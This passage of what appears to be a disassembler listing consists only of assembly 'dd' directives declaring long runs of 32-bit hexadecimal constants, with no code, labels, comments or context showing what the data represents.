		dd 6715949Fh, 7A7BE080h, 7EE6EAEAh, 0F4DF7AE5h,	680597D0h
		dd 8AC4CFAEh, 0B81320Ah, 384EC7BBh, 7232A60Ah, 36A5BC5h
		dd 937882A4h, 0B535CCB0h, 786EEDA7h, 0C1C4729Ch, 0F250BE2Ah
		dd 695B1724h, 0B5299E73h, 0CAF0972h, 0B41B3C8Ah, 717747C0h
		dd 0DEFF5EF9h, 4C81DEC6h, 31451F0h, 0B466A7E7h,	6622F150h
		dd 46F77CC4h, 4B2F3EC2h, 5D0439CEh, 7731054Ch, 1965EB7h
		dd 0AA7BD3B6h, 0E59C9480h, 8C91C8ECh, 38B1341Eh, 31461D4Eh
		dd 4EC73CCDh, 6509B232h, 0A9D9A10Ah, 0D18CF7ADh, 5E2F8A68h
		dd 0F2651CE3h, 1D90E3EBh, 8B78369Eh, 0ACDDACEFh, 0C2454439h
		dd 9878813Fh, 9B12EA7h,	0F3EFC6Fh, 175A2408h, 0A8FED179h
		dd 0D8367F61h, 89E24484h, 9BC16EFAh, 5CE47F22h,	170A42Ch
		dd 0BDE78DCDh, 7E3A60F8h, 0CB830BF2h, 255D69F9h, 3CD73662h
		dd 13FDA2C1h, 4FE36349h, 0AA82C0E8h, 4A823ED0h,	0BCD5C882h
		dd 53EA8A11h, 7486DB10h, 87DD4ABCh, 51CB5F55h, 0D364182Eh
		dd 0C4258C0Ch, 4C30A636h, 0AF8FC31Dh, 8777BE5Bh, 1128CE1h
		dd 31A9FC0Ch, 59DC36C6h, 3B798C01h, 79533F6Bh, 0F55ADAB9h
		dd 533B681Ah, 3160AB9Ch, 0A96D4A38h, 9321A53Dh,	0B5723542h
		dd 8F837F51h, 0BB1E6D1Bh, 0D6D90916h, 9D970DBAh, 27CADDA9h
		dd 1027556Ch, 9E7FAC14h, 0AF89BFFh, 8ABF11C3h, 0DA345D8Dh
		dd 9E450D74h, 0CABE6820h, 0B965D534h, 0E2AD1414h, 0D3E19A75h
		dd 425A0C80h, 2150B5A9h, 21661D0Eh, 95F49B2Fh, 54252581h
		dd 42DABAA1h, 8E8D2BABh, 1D02E6CBh, 0D019A096h,	0D7FDED02h
		dd 43904493h, 0D9A0C8EBh, 0B99E6115h, 0DC7BD2FEh, 0FC6F5747h
		dd 0B0BB95F4h, 0C496F6CEh, 12B09A47h, 0B43DA3B2h, 0F5E8DB2Ah
		dd 0A8044F20h, 7C78E35h, 8B8A8796h, 0C1AEA02h, 5E1FE2F2h
		dd 43DAC3DCh, 0A722814Eh, 0FB99D38Ah, 8155199Fh, 119BD6DFh
		dd 3327EE13h, 0BC861339h, 4805257Dh, 3742F7DEh,	7E00BAA5h
		dd 1BA08A71h, 61C5788Eh, 9DB488F5h, 0BD2FF212h,	0D7C0503Fh
		dd 9E523755h, 4E29CCABh, 0ACB7B750h, 22AE185Ch,	0B68E5D02h
		dd 0E42C10h, 2954C36Ah,	4DCB4B21h, 9CCFFF8Dh, 5FF8E1D9h
		dd 36C0403h, 0BC0F8669h, 0D38F513Eh, 0CF482099h, 6AA5A83Ch
		dd 0EF76AF0Ah, 9EE85428h, 0ECB6CB01h, 70FBC9A6h, 0A8A7788Ah
		dd 3EEA7F00h, 5EC7CA47h, 78E8BBE2h, 0ADC5A52Ah,	8FCCB72Bh
		dd 0E3CF0F09h, 71A43378h, 0A85D19F3h, 7DB20D69h, 0E036D81Bh
		dd 0BB4C662Bh, 8A40022Eh, 0BF0A10E7h, 1A89979Eh, 4BB3DDCBh
		dd 0F18A304h, 6A311589h, 0DEDF1374h, 0F2A0D5A0h, 0A1FD1513h
		dd 0C832E7FFh, 0E3116DE3h, 53C51E7Fh, 99B8CAB3h, 48F9EBD0h
		dd 70D42403h, 30D33895h, 439483F4h, 0E257D10h, 0B4990D09h
		dd 0FFA0D0CEh, 0F4E5D1A0h, 82797EA5h, 1D900867h, 441C2F0Bh
		dd 6E5E6225h, 3B31306h,	0C14CFE62h, 153CEC42h, 5F3E34FCh
		dd 5C43A5FFh, 0AAE35A3Dh, 28CA3149h, 0C8E0A75h,	64BF3E5Ah
		dd 0EB8D76EAh, 0D83B30C9h, 9A683AFDh, 557943D1h, 0AFF896CCh
		dd 4823D586h, 0BCBD8948h, 68193A07h, 0A2C633FDh, 5A8E438Ah
		dd 7A7B0CF6h, 31920AF9h, 2CD0011Ah, 6016BAB8h, 9A0B4690h
		dd 0B1291AE6h, 0BA30A3A7h, 5BA5F505h, 0B9C7F42h, 1C102AE7h
		dd 0FF6899D0h, 0C9FF0BBh, 70D87A80h, 0F132C0D0h, 2B475C12h
		dd 91EE55EAh, 0F71E854h, 0E37CB277h, 5B8B4D3Ch,	52A376AFh
		dd 1F83F6B9h, 73118CBFh, 54DF9C7Ch, 1C0589Eh, 0ECAA1BEFh
		dd 0AD19DE83h, 64C9670h, 67AE92C8h, 99D5AA68h, 0D20369EAh
		dd 128B36B9h, 19A0454Bh, 422F3855h, 0A84C7697h,	0E79DF2CFh
		dd 5870AD21h, 0E2A0F2Dh, 639B5C1Dh, 0C822A1A3h,	8FE0E257h
		dd 0C22020B9h, 59A9346Eh, 1F573D43h, 28EA0983h,	0D300372Bh
		dd 0D841EAD9h, 1C811340h, 0FF3DA601h, 0C67F1D6Dh, 22F19D7Ch
		dd 0D0DD1FDAh, 4351CDF4h, 3ED9694h, 0F979D5DDh,	0A9EB45B2h
		dd 449A7A5Fh, 7B9281BCh
		dd 48403FA7h, 0F3BF2891h, 8D5B56DBh, 0C79FF728h, 34D7E6DCh
		dd 0E39669E8h, 1733A01Ah, 0DEED7E32h, 7194B45h,	65F3D270h
		dd 67E133E8h, 0BD8BAB27h, 0DF406F10h, 51E15CF5h, 9AF20CCBh
		dd 4684FF50h, 838DC7EBh, 30A58D3Dh, 0E8FF0BF2h,	340841DEh
		dd 0BF2F86Ch, 0FBF518E6h, 6DFC161h, 0DD49770Fh,	3EE05F3Dh
		dd 442E0206h, 71564CF0h, 489745CFh, 3269FB46h, 0B9D3E7CBh
		dd 98C06869h, 688CAFA7h, 0E4A92A0Eh, 558EF2F3h,	69E4BE6Ah
		dd 17C64050h, 9C67D1B6h, 2FC14890h, 3C55C7FBh, 0D2C90F73h
		dd 0EA4C4F2Ah, 0ED5F5F7h, 662C44BCh, 192259E2h,	43515431h
		dd 0BC0E913Bh, 93772E18h, 0D8742151h, 0F44E826Eh, 0C09AA359h
		dd 609D36A0h, 0C3A6DA8h, 6A658314h, 0C5B42269h,	7E88D8D9h
		dd 0F845116Ch, 0C9F1C817h, 693F9104h, 0D2997683h, 0C5A164EFh
		dd 66FC2390h, 565C5791h, 0D1B2FDD1h, 3D9CA41Eh,	0AD96AD33h
		dd 698BDA01h, 5BDD1931h, 0B3F2FAFDh, 1A47981Dh,	0B250EF2Bh
		dd 0FCD34E56h, 3059D7F1h, 772A2644h, 122D28F0h,	1A3CDBBCh
		dd 558A4762h, 7A7BC151h, 0D4D8F74Bh, 527718CFh,	98905E30h
		dd 9AAB173Ch, 0D5F7AE08h, 7597CDA3h, 5B5E275Ch,	0F05FA2C2h
		dd 911A3CDBh, 0DD3A8D2Ah, 5F3AF753h, 41C15825h,	0DFEC5371h
		dd 50E38E83h, 0D96EFDDBh, 9A476FCBh, 0EAD32B96h, 0EB8D8F99h
		dd 6600B8FFh, 0F59508Eh, 0B4F3BF91h, 79F54DFFh,	6D36B121h
		dd 15EE14D1h, 0B0AAB18h, 0B1E6C5C9h, 39B936CFh,	7DA73DE8h
		dd 16797B2Ah, 0A71EA3E5h, 0C522057Ch, 0EABC0949h, 9697A25Fh
		dd 73A2952Ch, 0A3BC5247h, 0A12812Fh, 0A6F22C9Fh, 0BFC942C4h
		dd 16C27F8Bh, 2400FBCEh, 42900F6Ch, 0A38C1EB3h,	16FBFE18h
		dd 48544565h, 3F11CEB9h, 0CDC8F754h, 0ECD01B7Eh, 0F30F9BE3h
		dd 73F7638Bh, 0FE43D360h, 6215BC2h, 0D9A7F5B9h,	5CC91930h
		dd 0DE44D7E2h, 92EBFFC0h, 4C1B7444h, 94DC4FB1h,	0A5EE441Fh
		dd 3319D436h, 0E3754298h, 0B0939C2Ah, 268FF094h, 2CF5CEE7h
		dd 0F77E47DDh, 0E5FF565Fh, 3D08237Ch, 76D9CC66h, 909B9F51h
		dd 2F07A6C5h, 0FAE7A476h, 1FF9A72h, 0A52DB1C7h,	0C3BDFA00h
		dd 0B679C30Dh, 12DA3872h, 0A27BD6A3h, 567978E7h, 0BE340445h
		dd 81300348h, 693C5C41h, 5769DD8h, 59AFBDA0h, 626C302Bh
		dd 4655D0B5h, 43E9FF13h, 1C410AECh, 586A7B62h, 7A9F389Eh
		dd 17975740h, 0EEA5DB93h, 0DF5FDD98h, 0CB70B77h, 64F3C3C2h
		dd 0B598DE02h, 694DD924h, 0CA9E6485h, 29FF53EAh, 8B27177h
		dd 0CD049876h, 5DA562BCh, 0F3A59700h, 3B473FECh, 5DC8A733h
		dd 6FF799E0h, 2AB4DC6Ah, 27CBBF47h, 0AE1F6B4Dh,	0AEEF05A3h
		dd 6393D230h, 19467F12h, 13439570h, 0CF5D117Dh,	1491B95Ch
		dd 44CD4DECh, 8AE786CDh, 0DED6EF0Fh, 744968h, 0CCF09CDAh
		dd 32F97FEh, 2B1E3D05h,	0E850205Fh, 5D2F6A16h, 50FA844Dh
		dd 4E350AC6h, 7DE12F8Bh, 8CAF9817h, 410307F0h, 2B22988h
		dd 0FDCEE8C6h, 9682ADAAh, 0E96DDCF6h, 0D93362D4h, 9567028Ah
		dd 61068AE5h, 0FD80B5FFh, 375FE84Bh, 5985B9F5h,	0D920D7D5h
		dd 0CE918A98h, 23FBCAD3h, 0D605657Ah, 2D5FD655h, 3B416080h
		dd 7C85A9D2h, 0F9C4E730h, 36D386E8h, 8CB4A04Ch,	7B62D340h
		dd 832B26CEh, 0CCB9C989h, 0CF12239Dh, 0D16988DEh, 6EFAEE70h
		dd 4686B2F9h, 8182196Ah, 0A7270327h, 0C2C86C77h, 0DBA02E53h
		dd 0A7411BD5h, 616CF028h, 3F4FDE36h, 97D63E1Fh,	12D8E49Dh
		dd 6E137336h, 8838BB34h, 466C2DA7h, 0CD4CE10h, 0D75B64E1h
		dd 9ACEEAAh, 0D6B78754h, 223542EDh, 73F2F358h, 5D39F053h
		dd 0ABCC2FC2h, 0E0AE9A7Ch, 5295A480h, 73479034h, 0FF7A0EB1h
		dd 33DEA2E6h, 882E2B43h, 42F489B6h, 0BBA0E643h,	0D03EFBEh
		dd 0C49D957Bh, 31A1270Ch, 594B373Fh, 0A2E0896Fh, 0D7F156Ah
		dd 7870537Dh, 2ED16AD6h, 0A2499EDAh, 88402F52h,	5C949280h
		dd 9DE4574Fh, 70ADECCCh, 3D34AE2Eh, 9A9AF468h, 583E16E2h
		dd 7D515F74h, 0BF326DD6h, 0C61B05C8h, 0EEB78ACBh, 0A539C776h
		dd 0EFE3C348h, 0B731D789h, 22C10F96h, 883F8420h, 1E8D8A6Bh
		dd 8B806B4h, 70B0B633h,	5E66EB6Ah, 0D1D17DAFh, 6CCE65AAh
		dd 4B7F7690h, 26167184h, 5AC99CC7h, 38746D15h, 0D0FB9E45h
		dd 99702CAFh, 80F2C488h, 47566BAAh, 8877A927h, 0EC76BF7Bh
		dd 9CFB5283h, 99701CC7h, 17AEE1F5h, 14F2B0E0h, 3762E513h
		dd 864F4BB4h, 0A9090412h, 0DA5FB143h, 7FF601BAh, 7914BD57h
		dd 2FA938A8h, 8014EA2Ch, 3950A0FAh, 0D367D39Ch,	0DE154D5Ah
		dd 0BAD3A475h, 0E3612567h, 0FA17D97h, 0A1FB21Ch, 0C33463AFh
		dd 264F565Bh, 0DC243991h, 8240F56Dh, 8B814C72h,	0C543099h
		dd 0A39DC890h, 589E6261h, 775F5175h, 0A3742DA5h, 4F7E487Ah
		dd 52BD5B9Ah, 5AAFE8F2h, 80374D14h, 0D9FF3160h,	1C8CA6EFh
		dd 9741D5A9h, 8A1E34ECh, 47DC07E8h, 0C35714AFh,	45D47D96h
		dd 4B902464h, 18463EF5h, 0E58629D1h, 27CA6A03h,	0C261BA3Eh
		dd 12419675h, 0F0A58D1Fh, 0F91C8B9Eh, 8CEACCD9h, 0B6374878h
		dd 3A0E5B9Fh, 69959ECFh, 0E5C32F9Fh, 0C947B250h, 5843DC76h
		dd 0E9065C18h, 69E9B9BEh, 0D0A6FF1Ch, 621836h, 0EDD301B6h
		dd 0BA604233h, 9643CDD2h, 0B5619420h, 69D5328h,	7482B889h
		dd 5499BAAFh, 0F91281DEh, 2CC191D5h, 8BD8DE65h,	0AF4B3C72h
		dd 127B3DE6h, 0DBF366Eh, 85236FC2h, 50B13D59h, 0E78FC09Ah
		dd 8A8203C1h, 0DF855979h, 797A3417h, 7F78F05Ch,	46093BD5h
		dd 4E19A51Fh, 0AD461BFBh, 0DCF3222h, 81BF8906h,	403E32CBh
		dd 1FDA4C33h, 833B8A57h, 0C2A6C731h, 68E33B2Bh,	0C0BBE8C9h
		dd 2F2D81CBh, 0CD79B900h, 94F00C19h, 0FCA88DC1h, 0C6D19415h
		dd 4CDE49ECh, 511887AAh, 71C720E3h, 0B1196330h,	23898CDDh
		dd 0DF3F7E0Ch, 49AD7B1Fh, 0E1CBC6CCh, 5D6EDB40h, 7664EF06h
		dd 1A7071B3h, 0FC4BC41Dh, 61340CF0h, 34590711h,	577B8CD2h
		dd 0BDC431EFh, 4DA85CDDh, 12015A61h, 0E3452CD6h, 1FD2D813h
		dd 0EEC96FDEh, 8A0763B1h, 39FF198h, 2E9034ECh, 7DC39870h
		dd 0C099D86Bh, 487BDBC9h, 20A321A1h, 9067AC40h,	0CF5221DDh
		dd 0BA2AC156h, 6BCDC453h, 0EA92331Eh, 914746F6h, 4ADA202Eh
		dd 0CE8D33ABh, 49FB3188h, 0BBF94B70h, 5E28AECAh, 139B5A0Bh
		dd 13AF322Eh, 0D2518F7Bh, 18BA7C76h, 21A9A1DDh,	2BE7441Fh
		dd 1B9AAF47h, 91EB3506h, 0BADF0D2Ch, 642FF767h,	0F963FCD9h
		dd 7D7ED1F9h, 239A9D78h, 0D55F3BCDh, 35E99CDDh,	6E11626Fh
		dd 33B2BE0Fh, 0C1D577B0h, 1CEBFE47h, 0DAD844F0h, 3FDAB11Eh
		dd 3098E7B4h, 6C228008h, 4CCB673Bh, 6C25087Dh, 8E3A227h
		dd 79480058h, 0F8F531F2h, 5DD00E23h, 0EEDEA65h,	53749EB6h
		dd 0BBF2C04Dh, 93C59CABh, 5DA4422Ch, 883D221Ch,	0DEB75A68h
		dd 82E0A5C9h, 0B3ABEBA8h, 1FA00EEFh, 103FBE10h,	0C6AFC911h
		dd 922FFE32h, 0CCB2676Fh, 8F1BF112h, 41797ADBh,	3E73EC30h
		dd 4D043B83h, 3A53CF4h,	0FA7C4F52h, 0F0F81BCDh,	3BEA634h
		dd 0F43DDD58h, 0B784816Ch, 0F981ED1Bh, 5C07B568h, 0DB15D639h
		dd 1CD4760Eh, 0AD91AEB4h, 0F20A95BBh, 0B071575Fh, 5EA5CFD5h
		dd 0EEA12647h, 0BA62E0Dh, 74E7A40Ah, 0B28644F2h, 0AC3BAEC9h
		dd 0AB40A5EBh, 0BA337C45h, 7BA5C535h, 0A5C61AB7h, 7D4FC83Ah
		dd 80C1C9DCh, 1CF7571Ah, 0E0BDAF0Eh, 9B144D02h,	93B4F855h
		dd 0EA02842Dh, 55C41777h
		dd 0F58BFDF1h, 0EFBB0700h, 0B9DBD768h, 0D8D83FD0h, 0CDC1E72Ch
		dd 10C78C50h, 0F06249B4h, 0D4E60D76h, 8FE009DEh, 0D424090Dh
		dd 856FD265h, 5E3DCC81h, 0B3019183h, 0C77B1641h, 0B41E9F04h
		dd 0B251967Dh, 1E33A6FBh, 0C5B74EC3h, 3E589E41h, 68A07C8Ch
		dd 0C5D1F926h, 0DEEF45E6h, 0F05E1E07h, 54FB9C8h, 83E992F1h
		dd 56909C4h, 9A58DEA4h,	4AFE39Eh, 25A7FB10h, 990BE93Eh
		dd 105CB872h, 2929FC2Ch, 0A6E51EF3h, 76450610h,	0E567AC4Bh
		dd 3FD56B09h, 766948E7h, 51A760DBh, 560CA7C0h, 2F6569E3h
		dd 0B7DE4802h, 62D2ECFFh, 0CE2C83A2h, 929657B8h, 0C6FA9FA4h
		dd 2BBC09ADh, 0F055C145h, 99AD103Fh, 29C81BB7h,	0DC6CA6A6h
		dd 36D09963h, 7080B0C5h, 57DD8D69h, 0DEF5ED9Bh,	44003641h
		dd 0D08793A8h, 9CEA3F21h, 0ACE19ACDh, 0E7EF917Dh, 7DD68094h
		dd 6A34A72h, 30EBEE57h,	51970388h, 0E9E5D7E0h, 0FC52FF4Ah
		dd 2F75221Ch, 8F99F494h, 1FC32F66h, 0AC7862Ah, 0A26BD0B9h
		dd 85A799Eh, 1A5465Ch, 5BE5F652h, 59099388h, 4BE728A6h
		dd 81E43A49h, 881FFBECh, 5DF23A39h, 8B43D1FFh, 78A1E83Eh
		dd 0FFE7E8CEh, 0CD839DAAh, 0F62CB8B7h, 57C8FA7Dh, 24348052h
		dd 84CAF01Eh, 2DFC3Dh, 1AC12959h, 16FE6F9Ch, 8CC4B50h
		dd 8DBA03B0h, 34EE3515h, 0E139D539h, 0AC955914h, 7E2A6216h
		dd 0FD213AC5h, 9C3D83DDh, 0B6E46584h, 3766DFCCh, 6C946032h
		dd 0B9D15089h, 3354B089h, 873F912Ch, 5B3D5618h,	77C979BFh
		dd 6AB26664h, 6E3A55D9h, 81B997B7h, 603A16C1h, 397F9870h
		dd 63454D1Fh, 0AE12DD76h, 0C5EF85F2h, 0F75436EAh, 68DD7B6Eh
		dd 0CD487DBh, 84A61CE9h, 53BE2E05h, 0FD97809Ch,	95E9EAFEh
		dd 0C59302DBh, 0FAEA3FA9h, 6DFE852h, 21778809h,	824F5BCBh
		dd 64123509h, 0E5C7CA8Bh, 0B226FE65h, 0CE6375F6h, 2F4F1CB6h
		dd 333C2B62h, 778C050h,	341664C9h, 0CB9B932Eh, 0EE95B65Ah
		dd 2122203Ch, 0D392D0Ah, 12BE65h, 0F2B1A271h, 18202C29h
		dd 0E2354ABFh, 0FCDF6A6Eh, 0F9D85F97h, 0E982BD0Bh, 9E7325E3h
		dd 9940CF6Fh, 80C90764h, 31906E15h, 0A6AFE37Eh,	11DBA235h
		dd 0F9210589h, 0E006A4CCh, 0B9A0D569h, 0AB6C67Eh, 6A770A72h
		dd 0A3694A01h, 21C1DAA8h, 456DADEAh, 9CE7D962h,	134A9B16h
		dd 78AFD645h, 2657E247h, 941DC9A6h, 0E46E194Ch,	3230B8B3h
		dd 74114663h, 0EF70D508h, 3F2EFD9Ch, 3F843501h,	0EF3864D8h
		dd 2B4E733h, 0FF595A9Ch, 1AEBB28Fh, 785F6968h, 7F425866h
		dd 45E2FABEh, 67330186h, 94312ED0h, 32EDFECh, 0C1FF2D06h
		dd 7199B3D2h, 0F59B04D4h, 9FDE9CC0h, 0AD07180Fh, 97A3FCEFh
		dd 8613E868h, 84B7915h,	4AEDC0F1h, 0ACB753B0h, 0ED04644Ch
		dd 31338712h, 772DC2F6h, 0A71EBB5Bh, 826567B4h,	662CEC49h
		dd 90CD06A9h, 8DEB6E51h, 2285B2D9h, 61C42F06h, 345D64E4h
		dd 97BF387h, 507DDD11h,	69E06DB2h, 5C47B9BFh, 7062A164h
		dd 9DF416E0h, 0C175F80Ah, 9103728Dh, 7467D823h,	0DC0502E1h
		dd 3791FE9Bh, 0EA2F2C63h, 82C8492Bh, 0BDBF86B0h, 0C04DFC8Fh
		dd 4156CE77h, 0D0AFF26Fh, 7D686BD3h, 0CF504991h, 66E77FB7h
		dd 92458A76h, 0D73EBE4Ah, 4AB58C46h, 420F66h, 789C46DDh
		dd 0B7505158h, 0C835E6B6h, 8D1F8ADEh, 0EB4C8B3Ah, 0F0631C8Fh
		dd 67F529B9h, 66564F64h, 0BF4827EEh, 741D96Ah, 2C4629CAh
		dd 0FE7970CAh, 25F1ED4h, 2C333C62h, 0F9C52B9Dh,	38391060h
		dd 0AD32C050h, 1E7BCC7Dh, 6EBCFC58h, 0FA3F9831h, 387D5FEAh
		dd 57BEADE3h, 0C8247BAh, 0DA0F6686h, 7DFFFC2Eh,	208BE445h
		dd 0CC883D16h, 62757BF5h, 6CE3B575h, 26EE4371h,	4098F3E3h
		dd 81160501h, 40F3CB7Dh, 959AEFD9h, 15D3C86Fh, 0BA9357B9h
		dd 0F817F4h, 0AB459471h, 1733CF73h, 4E00C2A8h, 96C0B67Eh
		dd 96039319h, 0DBCB6CF9h, 0A1675280h, 0FA008AA0h, 97704E89h
		dd 4A6E2854h, 19307141h, 83E190B8h, 6472ED87h, 171F2DBh
		dd 61256F2Fh, 0F852F9CCh, 8DD325DBh, 0D2C158F8h, 0D32A2C92h
		dd 0F06608Ch, 928AB738h, 0B0417C73h, 6C9CB829h,	0AB54E49Fh
		dd 50DEA0D1h, 3658A3BDh, 0FEC24C74h, 0C84BE478h, 373F1BBDh
		dd 3398F8A2h, 9DCD1B6Ch, 0E9F6A84Fh, 0C8AF7BCAh, 0F0D75802h
		dd 0A2E7BB0Eh, 0B720CADCh, 0A147B729h, 0C4A6FE18h, 0DAC02B38h
		dd 0EF67CB5h, 20FB1285h, 22C2973Eh, 52205D9h, 734C474h
		dd 27065EBBh, 1473095Bh, 79FE8D61h, 1DBDCA7Fh, 0F863C2B2h
		dd 9F4AE450h, 708D8EC3h, 0B90766E8h, 0DBADCC86h, 3659CF38h
		dd 0D9ECBBCh, 408568B5h, 2C4452B0h, 0FF9BDA4Bh,	6BD241D0h
		dd 902EE0B3h, 6490DA74h, 22F41FE9h, 6BFC091Fh, 0FE6DB337h
		dd 0E12E4DDFh, 2A6A2673h, 1032D7ECh, 88098741h,	0DA544750h
		dd 0F463152Fh, 978167E2h, 0F5860AC5h, 2C0F09FDh, 656A1C66h
		dd 0A71BC9F1h, 2D77E22Ah, 9199AAE5h, 5EEC3659h,	4F3F8FEFh
		dd 18C125BBh, 69E17DA6h, 0C704AABFh, 0AE2B8A1Bh, 0A725F221h
		dd 0B65B8C85h, 62118B45h, 9394826Bh, 71C6D3BFh,	50347A92h
		dd 1063FAB9h, 0EDB4AAD8h, 6AB723B2h, 35CD1419h,	7D91E3Ah
		dd 57D39E4h, 368303E6h,	0EF0FFBE6h, 9FD4149Dh, 8ED0C704h
		dd 92A97C28h, 0C7F07780h, 17C73A8Eh, 9919AA28h,	20337986h
		dd 0AA94BCEFh, 0C0CC6E8Dh, 0DE3BC181h, 5BB42463h, 0EBBA6617h
		dd 0E6641E05h, 0CE8A256h, 14F96DDDh, 0E2F262ABh, 0E34454D9h
		dd 0F675333Ah, 2E39595Dh, 94C04E81h, 31A3670h, 6E54F2CEh
		dd 6D16C7B8h, 2506A6A0h, 0C3737149h, 0E7FF945Ah, 9DB0CD3Eh
		dd 1544683Ch, 0E234A278h, 80FE812Eh, 1FB74049h,	73511F27h
		dd 0D8AD4A62h, 59129A3Dh, 0FF97C7FAh, 0A8D09530h, 41043C25h
		dd 0EE481DDEh, 3CBC9DCFh, 8811987Ch, 96731DC2h,	0D9A43941h
		dd 0A74BFD74h, 0A08B778Bh, 0B9918D2Eh, 0B30BB83h, 184FC6A3h
		dd 0C699DD0Ah, 90BD3C53h, 0FDAD0C0Ch, 2670EB62h, 0A44C5840h
		dd 8C54C2FCh, 0C19F761Eh, 63BDED47h, 40D6EFC6h,	918C45C1h
		dd 0E63B96E5h, 1D316387h, 2530F9B2h, 0ACCA4F0Ah, 8D6EACB8h
		dd 3DCE5F8Eh, 0E55B7D68h, 99338333h, 0B8858EB8h, 0DD4B1CFDh
		dd 0CD784F7Eh, 49CE7AA2h, 0A187D209h, 5D7B5077h, 0D358FBF7h
		dd 0F0ABC56Dh, 0FC74B034h, 321D96FEh, 2F6A42ACh, 22E7A892h
		dd 45B59104h, 99FF9FC0h, 0DE67CF40h, 0DBD63805h, 0CE3D9A8Eh
		dd 539DE0FDh, 5B33053Fh, 0B2B7B74Dh, 0D4DB7D17h, 0F5BB6EE2h
		dd 3058C7B4h, 4ACE8019h, 2A7E8890h, 0A6A284D5h,	0F492429Dh
		dd 581FD517h, 56692137h, 9C2B907Dh, 0A5E2A8EBh,	32342451h
		dd 0A33C92F8h, 0C9662765h, 0DFD40725h, 0EB9EDFABh, 0D8855ED1h
		dd 14896E9Eh, 4BB1D291h, 0F9C01E82h, 3DF0B26Dh,	451B5CEDh
		dd 0D172989Fh, 227BA2D8h, 406D75C5h, 20639357h,	9ACAEECh
		dd 0B1025DEAh, 0F9CC9CB3h, 85EC258Ch, 0D9602875h, 8D5FFD9h
		dd 10E6A05Eh, 0BDFE6EFDh, 0BACDDF87h, 80418B0Bh, 0ABC07FEFh
		dd 6F4C6A8h, 0C9FDC80h,	0FE6F09B3h, 38119972h, 4ACE0609h
		dd 886FFC53h, 639E334h,	9AF95545h, 669C493h, 0B01C61A7h
		dd 4C4540Bh, 0D8E4342Eh, 0F45E2301h, 468508DBh,	2A9C59Fh
		dd 0C9BE0F89h, 69C4530Fh, 97C04D79h, 9B0E14F2h,	331D340Ch
		dd 7790AC3Fh, 593A0BABh, 0D42022D0h, 979483FEh,	0D4A6F6DCh
		dd 0EB6379CCh, 1CFCFC2Eh, 0CFBB68F0h, 0EC090F91h, 536852A5h
		dd 0CC00FF63h, 76AF337Eh
		dd 8F9BCBDCh, 0A03F86F4h, 53731F83h, 6EBDBF58h,	192C6517h
		dd 8CC82395h, 7AE5A6FFh, 441FBA74h, 39BCB760h, 0F64D6EE2h
		dd 935559DEh, 916F2361h, 51D20A4Bh, 97588B2Bh, 0F88E605Dh
		dd 9A369CF2h, 0E2B0D9CEh, 4A147CDDh, 2DC32DF2h,	1400C0F7h
		dd 0AF568537h, 0C51B13C0h, 0A3E242E5h, 97392EB1h, 5377688h
		dd 7B907E09h, 7C95622Eh, 0EA4E217Ch, 0FE2AA64Fh, 812BA04Fh
		dd 65B8A73h, 0BEECE381h, 7FFF70C0h, 2D18F257h, 0C6B82315h
		dd 79A6E667h, 0BEAB633Ch, 0D91F82A2h, 0B523B202h, 0AF87453Ah
		dd 0AFE82ECCh, 0A5BAB0AEh, 1C9905F7h, 9A355317h, 267F1Ch
		dd 5336BB90h, 429773F9h, 6F7AE5D1h, 77ED67C1h, 7E843CD3h
		dd 6FD4BB72h, 382DD9D3h, 0C7820869h, 99A5A555h,	17420C08h
		dd 5C198F75h, 61B34750h, 0E13C73AAh, 0F25A1557h, 4CA2985Ch
		dd 0B2376622h, 3FD99A6Eh, 6B15EFAEh, 2B8FB441h,	3DC12758h
		dd 3D251CA8h, 0C220CBCBh, 0D8574170h, 2F1D49Bh,	42E3BC7Fh
		dd 5533B3ABh, 19B59559h, 0B2D5F57Fh, 0D3E3B8CAh, 56BC1530h
		dd 63653A56h, 9251945Ch, 76B9DC05h, 0B2205D55h,	60CF675Fh
		dd 473F90E0h, 765AA6DCh, 0D570F683h, 358E74Fh, 0D8B986Eh
		dd 0EC50AA4Dh, 1DEF1AF7h, 9681AF01h, 7892F28Fh,	0BB011530h
		dd 0A2FAA5E3h, 0E0807B6Ah, 1960163Bh, 60D2364Ch, 59CFA8Fh
		dd 14AFBF53h, 9E42BA4Ah, 91F907FBh, 8FDFDFB9h, 4E82557Bh
		dd 0C02EA28Bh, 51C3E951h, 727170F3h, 81F366C1h,	62F80A31h
		dd 0E138B354h, 21E17B9Ch, 0AD05B5DAh, 241DAA82h, 0BF6AF478h
		dd 2F2D5CA0h, 0CDC64D57h, 0B3C06A1Fh, 6DDBCA38h, 103B5E99h
		dd 2B9EC8A5h, 0E4795DFEh, 68E3B772h, 26B514B2h,	0D20A50D5h
		dd 1C35B62Bh, 53F896F0h, 0C5FF0B6Fh, 0DF461B55h, 228AC19Bh
		dd 8CD9F838h, 0B14D153Dh, 0EA756BC9h, 9005FCAAh, 0B2557D7Fh
		dd 7BD4B6E1h, 0FAA87E7Dh, 0CE116768h, 328A3A9Dh, 307CC155h
		dd 0F7524AC5h, 0ED7056Bh, 0E3EA87Ch, 151D7865h,	61AEBF8Bh
		dd 0E2B293C2h, 85DFFACFh, 2A30BA62h, 3DD3E0B9h,	477EBF27h
		dd 9D9CA6EAh, 0EA44EAF4h, 0CFFD93AFh, 0B6CA3106h, 0FF9CA31h
		dd 7B635A55h, 9D02A848h, 0EE273B1h, 2486A06Dh, 0F279D134h
		dd 0B8EABFA4h, 0CFD41CDBh, 854EA06Bh, 9EE7A33Ch, 7FAF5DB8h
		dd 0AAE371E8h, 0EB3E654Ah, 455990B1h, 7C45654Bh, 5D402FEh
		dd 0E3E6847Ch, 1227BB04h, 1DE01F3Dh, 5AAE21D6h,	0D030C451h
		dd 1B36BB7Bh, 56E1325h,	1008DFCDh, 0C1E38CD1h, 9EAC86E4h
		dd 73667187h, 0D7C5B24Bh, 5FD484EBh, 6C84C5A1h,	0E76F1612h
		dd 0FEC1E810h, 0EB509355h, 8A218D0Fh, 774C02EBh, 0DACFDE4Ch
		dd 0FD36A700h, 83314F46h, 0A8947499h, 0BAF10BECh, 6444288Fh
		dd 0D432530Dh, 5864167Dh, 0B6223150h, 3C6A6333h, 8E79E4E2h
		dd 230C6718h, 990055E7h, 3571F544h, 0DC8CEABBh,	0DA92AFE1h
		dd 0C3C57C35h, 60D1D37h, 0B94ABE82h, 0CBA29506h, 0EC0BD983h
		dd 0F00156ACh, 3097B5DCh, 0B104B740h, 5CC5C2D5h, 7B774A94h
		dd 6B604AE8h, 8412195Bh, 0D947303Ah, 0B64F56D1h, 883BC965h
		dd 216ED302h, 33C9D10Dh, 689C4276h, 0F4C61656h,	29E322DAh
